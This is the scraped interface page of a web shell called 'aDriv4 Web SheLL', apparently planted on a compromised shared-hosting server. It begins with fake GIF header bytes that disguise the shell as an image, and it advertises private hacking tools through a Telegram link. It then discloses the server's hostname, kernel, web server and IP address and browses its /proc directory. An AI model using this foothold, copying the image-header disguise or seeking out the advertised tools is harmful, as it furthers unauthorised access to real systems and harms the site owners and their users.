GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium196.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
 LiteSpeed
 66.29.132.23
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-23 07:46:47
.. dir - root/root 0755 2025-08-05 08:51:07
448918 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
570297 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
600488 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
601787 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
602513 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
602935 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
603007 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
604753 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
acpi dir - root/root 0555 2025-07-23 07:46:51
bus dir - root/root 0555 2025-07-23 07:47:00
driver dir - root/root 0555 2025-10-27 01:17:12
fs dir - root/root 0555 2025-07-23 07:47:00
irq dir - root/root 0555 2025-07-23 07:47:00
kcare dir - root/root 0555 2025-10-27 01:17:12
lve dir - root/root 0555 2025-10-27 01:17:07
net link - bgixtesd/bgixtesd 0555 2025-10-27 01:17:12
scsi dir - root/root 0555 2025-07-23 07:47:00
self link - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
sys dir - root/root 0555 2025-07-23 07:46:49
sysvipc dir - root/root 0555 2025-10-27 01:17:12
thread-self link - bgixtesd/bgixtesd 0555 2025-10-27 01:17:07
tty dir - root/root 0555 2025-10-27 01:17:12
buddyinfo 0 B root/root 0444 2025-10-27 01:17:12
cgroups 0 B root/root 0444 2025-10-27 01:17:12
cmdline text/plain 0 B root/root 0444 2025-10-27 01:17:09
consoles 0 B root/root 0444 2025-10-27 01:17:12
cpuinfo text/plain 0 B root/root 0444 2025-10-27 01:17:11
crypto 0 B root/root 0444 2025-10-27 01:17:12
devices 0 B root/root 0444 2025-10-27 01:17:12
diskstats 0 B root/root 0444 2025-10-27 01:17:12
dma 0 B root/root 0444 2025-10-27 01:17:12
execdomains 0 B root/root 0444 2025-10-27 01:17:12
fb 0 B root/root 0444 2025-10-27 01:17:12
filesystems text/plain 0 B root/root 0444 2025-10-27 01:17:06
interrupts 0 B root/root 0444 2025-10-27 01:17:12
iomem 0 B root/root 0444 2025-10-27 01:17:12
ioports 0 B root/root 0444 2025-10-27 01:17:12
kallsyms 0 B root/root 0444 2025-07-23 07:47:00
kcore 128 TB root/root 0400 2025-07-23 07:46:51
key-users 0 B root/root 0444 2025-10-27 01:17:12
keys 0 B root/root 0444 2025-10-27 01:17:12
kmsg 0 B root/root 0400 2025-10-27 01:17:12
kpagecgroup 0 B root/root 0400 2025-10-27 01:17:12
kpagecount 0 B root/root 0400 2025-10-27 01:17:12
kpageflags 0 B root/root 0400 2025-10-27 01:17:12
loadavg text/plain 0 B root/root 0444 2025-10-27 01:17:12
locks 0 B root/root 0444 2025-10-27 01:17:12
mdstat 0 B root/root 0444 2025-10-27 01:17:12
meminfo text/plain 0 B root/root 0444 2025-10-27 01:17:07
misc 0 B root/root 0444 2025-10-27 01:17:12
modules 0 B root/root 0444 2025-10-27 01:17:12
mounts text/plain 0 B bgixtesd/bgixtesd 0444 2025-10-27 01:17:12
mtrr 0 B root/root 0644 2025-07-23 07:47:00
pagetypeinfo 0 B root/root 0400 2025-10-27 01:17:12
partitions 0 B root/root 0444 2025-10-27 01:17:12
sched_debug 0 B root/root 0444 2025-10-27 01:17:12
schedstat 0 B root/root 0444 2025-10-27 01:17:12
slabinfo 0 B root/root 0400 2025-10-27 01:17:12
softirqs 0 B root/root 0444 2025-10-27 01:17:12
stat text/plain 0 B root/root 0444 2025-10-27 01:17:06
swaps 0 B root/root 0444 2025-07-23 07:46:49
sysrq-trigger 0 B root/root 0200 2025-07-23 07:47:00
timer_list 0 B root/root 0400 2025-10-27 01:17:12
uptime text/plain 0 B root/root 0444 2025-10-27 01:17:07
version text/plain 0 B root/root 0444 2025-10-27 01:17:12
vmallocinfo 0 B root/root 0400 2025-10-27 01:17:12
vmstat 0 B root/root 0444 2025-10-27 01:17:12
zoneinfo 0 B root/root 0444 2025-10-27 01:17:12
© aDriv4